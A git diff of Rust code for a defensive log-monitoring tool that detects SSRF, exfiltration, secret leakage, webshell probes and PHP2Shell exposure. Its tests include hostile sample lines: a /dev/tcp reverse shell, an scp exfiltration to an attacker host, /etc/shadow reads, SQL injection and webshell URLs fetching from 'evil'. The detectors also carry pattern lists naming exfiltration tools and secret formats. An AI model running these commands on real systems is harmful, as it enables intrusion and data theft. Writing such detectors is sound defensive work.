detected in {} log entries", + matches.len() + ), + severity: threshold_severity(matches.len(), 1, 3), + confidence: 87, + sample_line: matches[0].line.clone(), + }] + } +} + +impl LogDetector for SsrfMetadataDetector { + fn id(&self) -> &'static str { + "cloud.metadata-ssrf" + } + + fn family(&self) -> DetectorFamily { + DetectorFamily::Cloud + } + + fn detect(&self, entries: &[LogEntry]) -> Vec { + let matches = matching_entries( + entries, + &[ + "169.254.169.254", + "latest/meta-data", + "metadata.google.internal", + "computemetadata/v1", + "/metadata/instance", + "x-aws-ec2-metadata-token", + ], + ); + + if matches.is_empty() { + return Vec::new(); + } + + vec![DetectorFinding { + detector_id: self.id().to_string(), + family: self.family(), + description: "Possible SSRF or direct cloud metadata access detected".to_string(), + severity: threshold_severity(matches.len(), 1, 3), + confidence: 89, + sample_line: matches[0].line.clone(), + }] + } +} + +impl LogDetector for ExfiltrationChainDetector { + fn id(&self) -> &'static str { + "exfiltration.chain" + } + + fn family(&self) -> DetectorFamily { + DetectorFamily::Exfiltration + } + + fn detect(&self, entries: &[LogEntry]) -> Vec { + let archive_matches = matching_entries( + entries, + &[ + "tar cz", + "zip -r", + "gzip ", + "7z a", + "gpg --encrypt", + "openssl enc", + "archive created", + ], + ); + let transfer_matches = matching_entries( + entries, + &[ + "scp ", + "rsync ", + "curl -t", + "aws s3 cp", + "sendmail", + "smtp", + "ftp put", + "upload complete", + ], + ); + + if archive_matches.is_empty() || transfer_matches.is_empty() { + return Vec::new(); + } + + vec![DetectorFinding { + detector_id: self.id().to_string(), + family: self.family(), + description: "Possible exfiltration chain detected: archive/encrypt followed by outbound transfer".to_string(), + severity: AnomalySeverity::High, + confidence: 90, + sample_line: archive_matches[0].line.clone(), + }] + } +} + +impl LogDetector for SecretLeakageDetector { + fn id(&self) -> &'static str { + "secrets.log-leakage" + } + + fn family(&self) -> DetectorFamily { + DetectorFamily::Secrets + } + + fn detect(&self, entries: &[LogEntry]) -> Vec { + let matches: Vec<&LogEntry> = entries + .iter() + .filter(|entry| line_contains_secret(&entry.line)) + .collect(); + + if matches.is_empty() { + return Vec::new(); + } + + vec![DetectorFinding { + detector_id: self.id().to_string(), + family: self.family(), + description: format!( + "Potential secret leakage detected in {} log entries", + matches.len() + ), + severity: threshold_severity(matches.len(), 1, 2), + confidence: 92, + sample_line: matches[0].line.clone(), + }] + } +} + +impl LogDetector for WebArchiveProbeDetector { + fn id(&self) -> &'static str { + "web.archive-probe" + } + + fn family(&self) -> DetectorFamily { + DetectorFamily::Web + } + + fn detect(&self, entries: &[LogEntry]) -> Vec { + let matches = matching_entries( + entries, + &[ + ".zip", ".tar.gz", ".tgz", ".sql", ".7z", ".rar", ".tar.bz2", ".tar.xz", ".dump", + ".bak", + ], + ); + + if matches.len() < 3 { + return Vec::new(); + } + + vec![DetectorFinding { + detector_id: self.id().to_string(), + family: self.family(), + description: format!( + "Suspicious archive/backup file probing detected in {} HTTP requests", + matches.len() + ), + severity: threshold_severity(matches.len(), 3, 8), + confidence: 82, + sample_line: matches[0].line.clone(), + }] + } +} + +fn matching_entries<'a>(entries: &'a [LogEntry], patterns: &[&str]) -> Vec<&'a LogEntry> { + entries + .iter() + .filter(|entry| contains_any(&entry.line, patterns)) + .collect() +} + +fn contains_any(line: &str, patterns: &[&str]) -> bool { + let lower = line.to_ascii_lowercase(); + patterns.iter().any(|pattern| lower.contains(pattern)) +} + +fn threshold_severity( + count: usize, + medium_threshold: usize, + high_threshold: usize, +) -> AnomalySeverity { + if count >= high_threshold { + AnomalySeverity::High + } else if count >= medium_threshold { + AnomalySeverity::Medium + } else { + AnomalySeverity::Low + } +} + +fn line_has_large_transfer(line: &str) -> bool { + extract_named_number(line, "bytes=") + .or_else(|| extract_named_number(line, "size=")) + .is_some_and(|value| value >= 1_000_000) +} + +fn extract_named_number(line: &str, needle: &str) -> Option { + let lower = line.to_ascii_lowercase(); + let start = lower.find(needle)? + needle.len(); + let digits: String = lower[start..] + .chars() + .take_while(|ch| ch.is_ascii_digit()) + .collect(); + (!digits.is_empty()) + .then(|| digits.parse::().ok()) + .flatten() +} + +fn line_contains_secret(line: &str) -> bool { + let lower = line.to_ascii_lowercase(); + lower.contains("authorization: bearer ") + || lower.contains("x-api-key") + || lower.contains("database_url=") + || lower.contains("postgres://") + || lower.contains("mysql://") + || lower.contains("-----begin private key-----") + || lower.contains("aws_secret_access_key") + || lower.contains("slack_webhook") + || lower.contains("token=") + || contains_aws_access_key(line) + || contains_github_token(line) +} + +fn contains_aws_access_key(line: &str) -> bool { + line.as_bytes().windows(20).any(|window| { + window.starts_with(b"AKIA") + && window[4..] + .iter() + .all(|byte| byte.is_ascii_uppercase() || byte.is_ascii_digit()) + }) +} + +fn contains_github_token(line: &str) -> bool { + let lower = line.to_ascii_lowercase(); + ["ghp_", "github_pat_", "gho_", "ghu_", "ghs_"] + .iter() + .any(|prefix| lower.contains(prefix)) +} + +#[cfg(test)] +mod tests { + use super::*; + use chrono::Utc; + use std::collections::HashMap; + + fn make_entries(lines: &[&str]) -> Vec { + lines + .iter() + .map(|line| LogEntry { + source_id: "test-source".into(), + timestamp: Utc::now(), + line: (*line).into(), + metadata: HashMap::new(), + }) + .collect() + } + + #[test] + fn test_registry_detects_web_probe_and_exfiltration_families() { + let registry = DetectorRegistry::default(); + let anomalies = registry.detect_log_anomalies(&make_entries(&[ + r#"GET /search?q=' OR 1=1 -- HTTP/1.1"#, + r#"GET /search?q=UNION SELECT password FROM users HTTP/1.1"#, + r#"sendmail invoked for attachment upload bytes=2500000"#, + r#"smtp delivery queued bytes=3500000"#, + ])); + + assert!(anomalies + .iter() + .any(|item| item.detector_family.as_deref() == Some("Web"))); + assert!(anomalies + .iter() + .any(|item| item.detector_family.as_deref() == Some("Exfiltration"))); + } + + #[test] + fn test_registry_detects_bruteforce() { + let registry = DetectorRegistry::default(); + let anomalies = registry.detect_log_anomalies(&make_entries(&[ + "Failed password for root from 192.0.2.10 port 22 ssh2", + "Failed password for root from 192.0.2.10 port 22 ssh2", + "Failed password for root from 192.0.2.10 port 22 ssh2", + "Failed password for root from 192.0.2.10 port 22 ssh2", + "Failed password for root from 192.0.2.10 port 22 ssh2", + ])); + + assert_eq!(anomalies.len(), 1); + assert_eq!( + anomalies[0].detector_id.as_deref(), + Some("web.login-bruteforce") + ); + } + + #[test] + fn test_bare_401_noise_is_not_bruteforce() { + // Inter-service chatter: auth endpoints answer 401 all day without + // anyone attacking. Microservice stacks must not trip this detector. + let registry = DetectorRegistry::default(); + let anomalies = registry.detect_log_anomalies(&make_entries(&[ + "10.0.0.5 - - \"GET /api/me HTTP/1.1\" 401 12", + "10.0.0.6 - - \"GET /api/me HTTP/1.1\" 401 12", + "10.0.0.5 - - \"GET /api/me HTTP/1.1\" 401 12", + "10.0.0.7 - - \"GET /api/me HTTP/1.1\" 401 12", + "10.0.0.6 - - \"GET /api/me HTTP/1.1\" 401 12", + ])); + + assert!( + !anomalies + .iter() + .any(|anomaly| anomaly.detector_id.as_deref() == Some("web.login-bruteforce")), + "plain 401 lines must not read as a login attack: {:?}", + anomalies + ); + } + + #[test] + fn test_large_transfer_parser() { + assert!(line_has_large_transfer("uploaded archive bytes=1200000")); + assert!(line_has_large_transfer("transfer complete size=2500000")); + assert!(!line_has_large_transfer("uploaded bytes=1024")); + } + + #[test] + fn test_registry_detects_reverse_shell() { + let registry = DetectorRegistry::default(); + let anomalies = registry.detect_log_anomalies(&make_entries(&[ + "bash -i >& /dev/tcp/203.0.113.10/4444 0>&1", + "connection to remote host 203.0.113.10 established", + ])); + + assert!(anomalies + .iter() + .any(|item| item.detector_id.as_deref() == Some("execution.reverse-shell"))); + } + + #[test] + fn test_registry_detects_sensitive_file_access() { + let registry = DetectorRegistry::default(); + let anomalies = registry.detect_log_anomalies(&make_entries(&[ + "openat path=/etc/shadow pid=1234", + "read /etc/shadow by suspicious process", + ])); + + assert!(anomalies + .iter() + .any(|item| item.detector_id.as_deref() == Some("file.sensitive-access"))); + } + + #[test] + fn test_registry_detects_metadata_ssrf() { + let registry = DetectorRegistry::default(); + let anomalies = registry.detect_log_anomalies(&make_entries(&[ + "GET http://169.254.169.254/latest/meta-data/iam/security-credentials/", + ])); + + assert!(anomalies + .iter() + .any(|item| item.detector_id.as_deref() == Some("cloud.metadata-ssrf"))); + } + + #[test] + fn test_registry_detects_exfiltration_chain() { + let registry = DetectorRegistry::default(); + let anomalies = registry.detect_log_anomalies(&make_entries(&[ + "tar czf /tmp/archive.tgz /srv/data", + "scp /tmp/archive.tgz attacker@203.0.113.5:/tmp/", + ])); + + assert!(anomalies + .iter() + .any(|item| item.detector_id.as_deref() == Some("exfiltration.chain"))); + } + + #[test] + fn test_registry_detects_secret_leakage() { + let registry = DetectorRegistry::default(); + let anomalies = registry.detect_log_anomalies(&make_entries(&[ + "Authorization: Bearer super-secret-token", + "AWS_SECRET_ACCESS_KEY=abc123", + ])); + + assert!(anomalies + .iter() + .any(|item| item.detector_id.as_deref() == Some("secrets.log-leakage"))); + } + + #[test] + fn test_secret_detectors_identify_provider_specific_tokens() { + assert!(contains_github_token("github_pat_1234567890")); + assert!(contains_aws_access_key("AKIAABCDEFGHIJKLMNOP")); + assert!(!contains_aws_access_key("AKIAshort")); + } + + fn webshell_probe_findings(line: &str) -> Vec { + WebshellProbeDetector.detect(&[LogEntry { + source_id: "test".into(), + timestamp: chrono::Utc::now(), + line: line.into(), + metadata: HashMap::new(), + }]) + } + + #[test] + fn test_webshell_probe_ignores_stacker_agent_request_log() { + // The line from the false alarm: `c99` sits in the x-request-id hex. + let line = r#"2026-10-27T09:07:55.623595+00:00 dev stacker[2392813]: {"v":0,"name":"stacker","msg":"[AUTHENTICATE AGENT VIA X-AGENT-ID AND BEARER TOKEN - START]","level":30,"target":"stacker::middleware::authentication::method::f_agent","req":"\nServiceRequest HTTP/1.1 GET:/api/v1/agent/commands/wait/deployment_120254c6-598e-47a1-83ca-690840edd906\n query: ?\"timeout=10\"\n headers:\n \"x-request-id\": \"6c26477f-51b2-4133-9c58-b1dac994f229\"\n \"host\": \"dev.stacker.try.direct\"\n"}"#; + assert!(webshell_probe_findings(line).is_empty()); + } + + #[test] + fn test_webshell_probe_matches_the_url_only() { + for target in [ + "/x.php?cmd=id", + "/x.php?a=1&exec=uname", + "/c99.php", + "/up/r57shell.php", + "/x.php?q=wget+http://evil/x", + "/cgi-bin/x?run=%2Fbin%2Fsh", + ] { + let line = format!( + r#"203.0.113.9 - - [31/Oct/2026:10:00:00 +0000] "GET {target} HTTP/1.1" 404 5 "-" "x""# + ); + assert_eq!(webshell_probe_findings(&line).len(), 1, "{target}"); + } + + for line in [ + // Indicators outside the URL: user agent, referrer, no request. + r#"198.51.100.7 - - [31/Oct/2026:10:00:00 +0000] "GET /index.php HTTP/1.1" 200 5 "https://x/?cmd=1" "curl http-client""#, + r#"Oct 31 10:00:00 host CRON[1]: (root) CMD (/bin/sh /etc/backup.sh)"#, + r#"198.51.100.7 - - [31/Oct/2026:10:00:00 +0000] "GET /assets/app.c99a1f.js?xcmd=1 HTTP/1.1" 200 5 "-" "x""#, + ] { + assert!(webshell_probe_findings(line).is_empty(), "{line}"); + } + } +} diff --git a/src/detectors/php2shell.rs b/src/detectors/php2shell.rs new file mode 100644 index 0000000..2323c98 --- /dev/null +++ b/src/detectors/php2shell.rs @@ -0,0 +1,744 @@ +//! PHP2Shell exposure and PHP worker crashes. +//! +//! PHP2Shell (CVE-2026-109618, CVE-2026-109619) is unauthenticated remote code +//! execution in the PHP interpreter itself. Nothing in a log line or a file on +//! disk marks the attack reliably, so this module answers two narrower +//! questions: +//! +//! - which PHP builds on the host and in running containers predate the fixed +//! releases (`vuln.php2shell`); +//! - whether PHP workers keep crashing, which is what memory-corruption +//! attempts tend to leave behind (`php.worker-crash`). +//! +//! Neither names a client address, so neither ever bans. A third, +//! `web.php2shell-attempt`, reads the error-log lines the exploit's +//! out-of-memory step leaves behind with a client address, and bans: +//! +//! - Apache mod_php: `[client 203.0.113.9:51234] PHP Fatal error: Allowed +//! memory size of ... exhausted ... in Unknown on line 0`. "Unknown on line +//! 0" means PHP ran out of memory while parsing the request, before any +//! script ran; application out-of-memory errors name a file and line; +//! - nginx in front of php-fpm: the worker exits after that fatal error and +//! nginx logs `upstream sent unexpected FastCGI record ... client: ..., +//! request: "POST ..."`; +//! - the User-Agent of the public scanner, `php2shell-...`. +//! +//! Formats were reproduced against php:8.3-apache and php:8.3-fpm behind +//! nginx with a benign oversized form POST, not taken from exploit traffic. + +use std::collections::{HashMap, HashSet}; +use std::path::{Path, PathBuf}; +use std::sync::{Mutex, OnceLock}; +use std::time::SystemTime; + +use regex::Regex; + +use crate::detectors::audits::{parse_apk_installed, parse_dpkg_status}; +use crate::detectors::php_shell::{under_host_root, ContainerFilesystem}; +use crate::detectors::{DetectorFamily, DetectorFinding, LogDetector}; +use crate::sniff::analyzer::AnomalySeverity; +use crate::sniff::reader::LogEntry; + +pub const VERSION_DETECTOR_ID: &str = "vuln.php2shell"; +pub const CRASH_DETECTOR_ID: &str = "php.worker-crash"; +pub const ATTEMPT_DETECTOR_ID: &str = "web.php2shell-attempt"; + +/// Findings per pass. Each one is an offense, so a client that causes five +/// startup out-of-memory errors is banned in the pass that reads them. +const MAX_ATTEMPT_FINDINGS: usize = 50; + +const CVES: &str = "CVE-2026-109618, CVE-2026-109619"; + +/// First fixed release per supported branch, published 2026-10-21. Branches +/// older than the oldest listed one get no fix from the PHP project. +const FIXED_RELEASES: &[(u32, u32, u32)] = &[(8, 5, 12), (8, 4, 27), (8, 3, 36), (8, 2, 35)]; + +/// Package databases, relative to a filesystem root. +const PACKAGE_DATABASES: &[&str] = &["var/lib/dpkg/status", "lib/apk/db/installed"]; + +/// Crashes in one batch of log lines before it is worth an alert. A single +/// segfault is usually a buggy extension; a run of them is not. +const CRASH_THRESHOLD: usize = 3; + +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum Exposure { + /// An upstream build older than the fix for its branch. + Vulnerable { + fixed_in: Option, + }, + /// A distribution package older than the upstream fix. Distributions + /// backport fixes without changing the upstream number, so only the + /// vendor's advisory can say. + CheckVendor { + fixed_in: Option, + }, + Patched, +} + +/// Where a PHP version was read from. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum VersionSource { + /// `PHP_VERSION` in a container's environment: official images build + /// PHP from upstream source. + ImageEnv, + /// A distribution package (`php8.2-common` 8.2.20-1~deb12u1). + Package { name: String }, +} + +/// The PHP2Shell exposure of `version`, or None if it is not a PHP version. +pub fn exposure(version: &str, from_distro_package: bool) -> Option { + let (major, minor, patch) = upstream_version(version)?; + + if (major, minor) > (8, 5) { + return Some(Exposure::Patched); + } + + let fixed = FIXED_RELEASES + .iter() + .find(|(fixed_major, fixed_minor, _)| (*fixed_major, *fixed_minor) == (major, minor)); + + match fixed { + Some(&(_, _, fixed_patch)) if patch >= fixed_patch => Some(Exposure::Patched), + Some(&(fixed_major, fixed_minor, fixed_patch)) => { + let fixed_in = Some(format!("{}.{}.{}", fixed_major, fixed_minor, fixed_patch)); + Some(if from_distro_package { + Exposure::CheckVendor { fixed_in } + } else { + Exposure::Vulnerable { fixed_in } + }) + } + None => Some(if from_distro_package { + Exposure::CheckVendor { fixed_in: None } + } else { + Exposure::Vulnerable { fixed_in: None } + }), + } +} + +/// `8.3.30` out of `8.3.30`, `1:8.2.20-1~deb12u1` or `8.3.12-1+ubuntu22.04.1+deb.sury.org+1`. +fn upstream_version(version: &str) -> Option<(u32, u32, u32)> { + let without_epoch = version.split_once(':').map_or(version, |(_, rest)| rest); + let numeric: String = without_epoch + .chars() + .take_while(|c| c.is_ascii_digit() || *c == '.') + .collect(); + let mut parts = numeric.split('.').filter(|part| !part.is_empty()); + let major = parts.next()?.parse().ok()?; + let minor = parts.next()?.parse().ok()?; + let patch = parts.next().and_then(|part| part.parse().ok()).unwrap_or(0); + Some((major, minor, patch)) +} + +/// The package that carries the PHP core version: `php8.2-common` (Debian, +/// Ubuntu), `php83-common` or `php83` (Alpine). On Alpine every SAPI and +/// extension depends on `php83-common`, not on `php83`, so `apk add php83-fpm` +/// installs no `php83`. Meta-packages such as `php` carry the distribution's +/// own numbering, not PHP's. +fn is_php_core_package(name: &str) -> bool { + if let Some(branch) = name + .strip_prefix("php") + .and_then(|rest| rest.strip_suffix("-common")) + { + return is_branch(branch, true) || is_branch(branch, false); + } + name.strip_prefix("php") + .map(|branch| is_branch(branch, false)) + .unwrap_or(false) +} + +fn is_branch(text: &str, dotted: bool) -> bool { + if dotted { + matches!(text.split_once('.'), Some((major, minor)) + if !major.is_empty() && !minor.is_empty() + && major.chars().all(|c| c.is_ascii_digit()) + && minor.chars().all(|c| c.is_ascii_digit())) + } else { + text.len() >= 2 && text.chars().all(|c| c.is_ascii_digit()) + } +} + +/// A PHP installation found on the host or in a container. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct PhpInstall { + /// `host` or the container name. + pub owner: String, + pub version: String, + pub source: VersionSource, +} + +/// A parsed package database and the file state it was parsed from. +struct CachedPackages { + modified: SystemTime, + size: u64, + packages: Vec<(String, String)>, +} + +#[derive(Default)] +pub struct PhpVersionMonitor { + /// Parsed package databases keyed by path, reused while the file's + /// modification time and size stay the same. + cache: Mutex>, +} + +impl PhpVersionMonitor { + pub fn new() -> Self { + Self::default() + } + + pub fn detect( + &self, + containers: &[ContainerFilesystem], + host_root: Option<&str>, + ) -> Vec { + let mut installs = self.installs_under("host", &under_host_root(host_root, "/")); + + for container in containers { + if let Some(version) = &container.php_version { + installs.push(PhpInstall { + owner: container.name.clone(), + version: version.clone(), + source: VersionSource::ImageEnv, + }); + } + if let Some(merged_dir) = &container.merged_dir { + installs.extend( + self.installs_under(&container.name, &under_host_root(host_root, merged_dir)), + ); + } + } + + findings(&installs) + } + + fn installs_under(&self, owner: &str, root: &Path) -> Vec { + PACKAGE_DATABASES + .iter() + .flat_map(|database| self.packages(&root.join(database))) + .filter(|(name, _)| is_php_core_package(name)) + .map(|(name, version)| PhpInstall { + owner: owner.to_string(), + version, + source: VersionSource::Package { name }, + }) + .collect() + } + + fn packages(&self, path: &Path) -> Vec<(String, String)> { + let Ok(metadata) = std::fs::metadata(path) else { + return Vec::new(); + }; + let modified = metadata.modified().unwrap_or(SystemTime::UNIX_EPOCH); + let size = metadata.len(); + + if let Ok(cache) = self.cache.lock() { + if let Some(cached) = cache.get(path) { + if cached.modified == modified && cached.size == size { + return cached.packages.clone(); + } + } + } + + let Ok(content) = std::fs::read_to_string(path) else { + return Vec::new(); + }; + let packages = if path.ends_with("installed") { + parse_apk_installed(&content) + } else { + parse_dpkg_status(&content) + }; + + if let Ok(mut cache) = self.cache.lock() { + cache.insert( + path.to_path_buf(), + CachedPackages { + modified, + size, + packages: packages.clone(), + }, + ); + } + packages + } +} + +/// One finding per exposed `(owner, version)`. +pub fn findings(installs: &[PhpInstall]) -> Vec { + let mut seen = HashSet::new(); + let mut findings = Vec::new(); + + for install in installs { + if !seen.insert((install.owner.as_str(), install.version.as_str())) { + continue; + } + let from_package = matches!(install.source, VersionSource::Package { .. }); + let Some(exposure) = exposure(&install.version, from_package) else { + continue; + }; + let source = match &install.source { + VersionSource::ImageEnv => "image PHP_VERSION".to_string(), + VersionSource::Package { name } => format!("package {}", name), + }; + let upgrade = |fixed_in: &Option| { + match fixed_in { + Some(fixed) => format!("upgrade to {} or later", fixed), + None => "this branch gets no fix from the PHP project; move to 8.2.35, 8.3.36, 8.4.27 or 8.5.12 or later".to_string(), + } + }; + + let (description, severity, confidence) = match &exposure { + Exposure::Patched => continue, + Exposure::Vulnerable { fixed_in } => ( + format!( + "PHP {} on {} is exposed to PHP2Shell unauthenticated remote code execution ({}): {}", + install.version, install.owner, CVES, upgrade(fixed_in) + ), + AnomalySeverity::Critical, + 95, + ), + Exposure::CheckVendor { fixed_in } => ( + format!( + "PHP {} on {} predates the upstream PHP2Shell fixes ({}). Distribution packages may carry a backported fix: check your vendor's advisory, or {}", + install.version, install.owner, CVES, upgrade(fixed_in) + ), + AnomalySeverity::Medium, + 60, + ), + }; + let description = format!( + "{}. Until then, session.upload_progress.enabled = 0 closes the confirmed php-fpm path, and Stackdog keeps defending this box: it bans clients whose requests trip the startup out-of-memory step, scans the web roots for shells, and bans whoever drives a flagged file", + description + ); + + findings.push(DetectorFinding { + detector_id: VERSION_DETECTOR_ID.into(), + family: DetectorFamily::Vulnerability, + description, + severity, + confidence, + sample_line: format!("{} {} {}", install.owner, source, install.version), + }); + } + + findings +} + +/// PHP workers dying on memory faults, from php-fpm and Apache error logs. +pub struct PhpWorkerCrashDetector; + +impl LogDetector for PhpWorkerCrashDetector { + fn id(&self) -> &'static str { + CRASH_DETECTOR_ID + } + + fn family(&self) -> DetectorFamily { + DetectorFamily::Execution + } + + fn detect(&self, entries: &[LogEntry]) -> Vec { + let crashes: Vec<&LogEntry> = entries + .iter() + .filter(|entry| is_worker_crash(&entry.line)) + .collect(); + + if crashes.len() < CRASH_THRESHOLD { + return Vec::new(); + } + + vec![DetectorFinding { + detector_id: CRASH_DETECTOR_ID.into(), + family: DetectorFamily::Execution, + description: format!( + "PHP worker processes crashed {} times on memory faults. Repeated crashes are what attempts against PHP memory bugs such as PHP2Shell ({}) leave behind; check the PHP version and the requests at those times", + crashes.len(), + CVES + ), + severity: if crashes.len() >= 10 { + AnomalySeverity::High + } else { + AnomalySeverity::Medium + }, + confidence: 65, + sample_line: crashes[0].line.clone(), + }] + } +} + +/// Requests that run PHP out of memory before any script runs, and the known +/// scanner, with the client address the error or access log records. +pub struct Php2ShellAttemptDetector; + +impl LogDetector for Php2ShellAttemptDetector { + fn id(&self) -> &'static str { + ATTEMPT_DETECTOR_ID + } + + fn family(&self) -> DetectorFamily { + DetectorFamily::Web + } + + fn detect(&self, entries: &[LogEntry]) -> Vec { + // Identical lines are separate requests: an exploit burst over one + // keep-alive connection logs the same nginx line within one second. + // The registry drops findings with identical samples, so repeats are + // numbered to count as the offenses they are. + let mut seen: HashMap = HashMap::new(); + + entries + .iter() + .filter_map(|entry| { + let reason = attempt_reason(&entry.line)?; + let sample = client_only(&entry.line); + let count = seen.entry(sample.clone()).or_insert(0); + *count += 1; + let sample_line = if *count > 1 { + format!("{} (repeat {})", sample, count) + } else { + sample + }; + Some(DetectorFinding { + detector_id: ATTEMPT_DETECTOR_ID.into(), + family: DetectorFamily::Web, + description: format!("PHP2Shell attempt ({}): {}", CVES, reason), + severity: AnomalySeverity::Critical, + confidence: 90, + sample_line, + }) + }) + .take(MAX_ATTEMPT_FINDINGS) + .collect() + } +} + +fn attempt_reason(line: &str) -> Option<&'static str> { + let lower = line.to_ascii_lowercase(); + + if lower.contains("allowed memory size of") + && lower.contains("in unknown on line 0") + && lower.contains("[client ") + { + return Some("PHP ran out of memory parsing the request, before any script ran"); + } + if lower.contains("upstream sent unexpected fastcgi record") + && lower.contains("request: \"post ") + { + return Some("php-fpm worker died on a POST before answering"); + } + if access_log_user_agent(&lower).is_some_and(|agent| agent.starts_with("php2shell")) { + return Some("public PHP2Shell scanner user agent"); + } + None +} + +/// The sample a ban reads its target from. Every address in it gets an +/// offense, and an nginx error line also carries `server:` and `host:`, which +/// are this server's own address when a scanner hits the bare IP. Keep the +/// timestamp, the client and the request. +fn client_only(line: &str) -> String { + let field = |name: &str, end: char| { + line.find(name).map(|start| { + let value = &line[start + name.len()..]; + value[..value.find(end).unwrap_or(value.len())].to_string() + }) + }; + match (field("client: ", ','), field("request: \"", '"')) { + (Some(client), Some(request)) => { + let timestamp = line.split(" [").next().unwrap_or_default(); + format!( + "{} upstream sent unexpected FastCGI record, client: {}, request: \"{}\"", + timestamp, client, request + ) + } + _ => line.to_string(), + } +} + +/// The User-Agent of a combined-format access log line: +/// `"POST / HTTP/1.1" 500 5 "-" "agent"`. Only that shape: the last quoted +/// text of any other line can be a file name or a message, and this rule bans. +fn access_log_user_agent(line: &str) -> Option<&str> { + static RE: OnceLock = OnceLock::new(); + let re = RE.get_or_init(|| { + Regex::new( + r#""(?:get|post|put|patch|delete|head|options) [^"]* http/[0-9.]+" \d{3} (?:\d+|-) "[^"]*" "([^"]*)""#, + ) + .expect("valid regex") + }); + re.captures(line) + .and_then(|captures| captures.get(1)) + .map(|agent| agent.as_str()) +} + +/// php-fpm: `[pool www] child 123 exited on signal 11 (SIGSEGV) after ...` +/// (php-src sapi/fpm/fpm/fpm_children.c). Apache: `child pid 123 exit signal +/// Segmentation fault (11)` (httpd os/unix/unixd.c, AH00051/AH00052). +fn is_worker_crash(line: &str) -> bool { + let lower = line.to_ascii_lowercase(); + let fpm = lower.contains("child ") + && lower.contains("exited on signal") + && ["(sigsegv", "(sigbus", "(sigabrt", "(sigill"] + .iter() + .any(|signal| lower.contains(signal)); + let apache = lower.contains("child pid") + && [ + "exit signal segmentation fault", + "exit signal bus error", + "exit signal aborted", + "exit signal illegal instruction", + ] + .iter() + .any(|signal| lower.contains(signal)); + fpm || apache +} + +#[cfg(test)] +mod tests { + use super::*; + use chrono::Utc; + + #[test] + fn test_upstream_builds_below_the_fix_are_vulnerable() { + assert_eq!( + exposure("8.3.30", false), + Some(Exposure::Vulnerable { + fixed_in: Some("8.3.36".into()) + }) + ); + assert_eq!(exposure("8.3.36", false), Some(Exposure::Patched)); + assert_eq!(exposure("8.4.27", false), Some(Exposure::Patched)); + assert_eq!( + exposure("8.5.11", false), + Some(Exposure::Vulnerable { + fixed_in: Some("8.5.12".into()) + }) + ); + assert_eq!(exposure("8.6.0", false), Some(Exposure::Patched)); + assert_eq!( + exposure("8.1.31", false), + Some(Exposure::Vulnerable { fixed_in: None }) + ); + assert_eq!( + exposure("7.4.33", false), + Some(Exposure::Vulnerable { fixed_in: None }) + ); + assert_eq!(exposure("not-a-version", false), None); + } + + #[test] + fn test_distro_packages_below_the_fix_need_the_vendor_advisory() { + assert_eq!( + exposure("8.2.20-1~deb12u1", true), + Some(Exposure::CheckVendor { + fixed_in: Some("8.2.35".into()) + }) + ); + assert_eq!( + exposure("8.3.36-1+ubuntu24.04.1+deb.sury.org+1", true), + Some(Exposure::Patched) + ); + assert_eq!( + exposure("1:8.1.2-1ubuntu2.20", true), + Some(Exposure::CheckVendor { fixed_in: None }) + ); + } + + #[test] + fn test_only_core_packages_carry_the_php_version() { + assert!(is_php_core_package("php8.2-common")); + assert!(is_php_core_package("php83")); + assert!(is_php_core_package("php83-common")); + assert!(!is_php_core_package("php")); + assert!(!is_php_core_package("php-common")); + assert!(!is_php_core_package("php8.2-mysql")); + assert!(!is_php_core_package("php83-fpm")); + assert!(!is_php_core_package("phpmyadmin")); + } + + #[test] + fn test_findings_per_owner_and_version() { + let installs = vec![ + PhpInstall { + owner: "wordpress".into(), + version: "8.3.30".into(), + source: VersionSource::ImageEnv, + }, + PhpInstall { + owner: "wordpress".into(), + version: "8.3.30".into(), + source: VersionSource::ImageEnv, + }, + PhpInstall { + owner: "host".into(), + version: "8.2.20-1~deb12u1".into(), + source: VersionSource::Package { + name: "php8.2-common".into(), + }, + }, + PhpInstall { + owner: "shop".into(), + version: "8.4.27".into(), + source: VersionSource::ImageEnv, + }, + ]; + + let found = findings(&installs); + assert_eq!(found.len(), 2); + assert_eq!(found[0].severity, AnomalySeverity::Critical); + assert!(found[0].description.contains("upgrade to 8.3.36")); + assert_eq!(found[1].severity, AnomalySeverity::Medium); + assert!(found[1].description.contains("vendor")); + assert!(found + .iter() + .all(|finding| !crate::ip_ban::gate::names_confirmed_attack(&finding.description))); + } + + #[test] + fn test_monitor_reads_package_databases_under_a_root() { + // The host root is a temp dir; the container's MergedDir sits under it, + // as it does when Stackdog runs with the host mounted at /host. + let host = tempfile::tempdir().unwrap(); + let dpkg = host.path().join("overlay/abc/merged/var/lib/dpkg"); + std::fs::create_dir_all(&dpkg).unwrap(); + std::fs::write( + dpkg.join("status"), + "Package: php\nVersion: 2:8.2+93\n\nPackage: php8.2-common\nVersion: 8.2.20-1~deb12u1\n\nPackage: php8.2-fpm\nVersion: 8.2.20-1~deb12u1\n", + ) + .unwrap(); + + let container = ContainerFilesystem { + name: "legacy".into(), + merged_dir: Some("/overlay/abc/merged".into()), + php_version: Some("8.4.20".into()), + ..Default::default() + }; + let monitor = PhpVersionMonitor::new(); + let found = monitor.detect(&[container], host.path().to_str()); + + assert_eq!(found.len(), 2, "{found:#?}"); + assert!(found + .iter() + .any(|f| f.description.contains("PHP 8.4.20 on legacy"))); + assert!(found + .iter() + .any(|f| f.description.contains("PHP 8.2.20-1~deb12u1 on legacy"))); + } + + #[test] + fn test_alpine_common_package_alone_is_read() { + // `apk add php83-fpm php83-mysqli` installs php83-common, not php83. + let host = tempfile::tempdir().unwrap(); + let apk = host.path().join("lib/apk/db"); + std::fs::create_dir_all(&apk).unwrap(); + std::fs::write( + apk.join("installed"), + "P:php83-common\nV:8.3.13-r0\n\nP:php83-fpm\nV:8.3.13-r0\n\nP:php83-pecl-redis\nV:6.1.0-r0\n", + ) + .unwrap(); + + let found = PhpVersionMonitor::new().detect(&[], host.path().to_str()); + assert_eq!(found.len(), 1, "{found:#?}"); + assert!(found[0].description.contains("PHP 8.3.13-r0 on host")); + assert!(found[0].description.contains("8.3.36")); + } + + // Lines captured from the lab: php:8.3-apache, and nginx:alpine in front + // of php:8.3-fpm, memory_limit = 4M, one benign 24 MB form POST. + const APACHE_STARTUP_OOM: &str = "[Sat Oct 31 16:40:23.085328 2026] [php:error] [pid 18:tid 18] [client 203.0.113.9:55324] PHP Fatal error: Allowed memory size of 4194304 bytes exhausted (tried to allocate 2097152 bytes) in Unknown on line 0"; + const APACHE_APP_OOM: &str = "[Sat Oct 31 16:40:23.305094 2026] [php:error] [pid 20:tid 20] [client 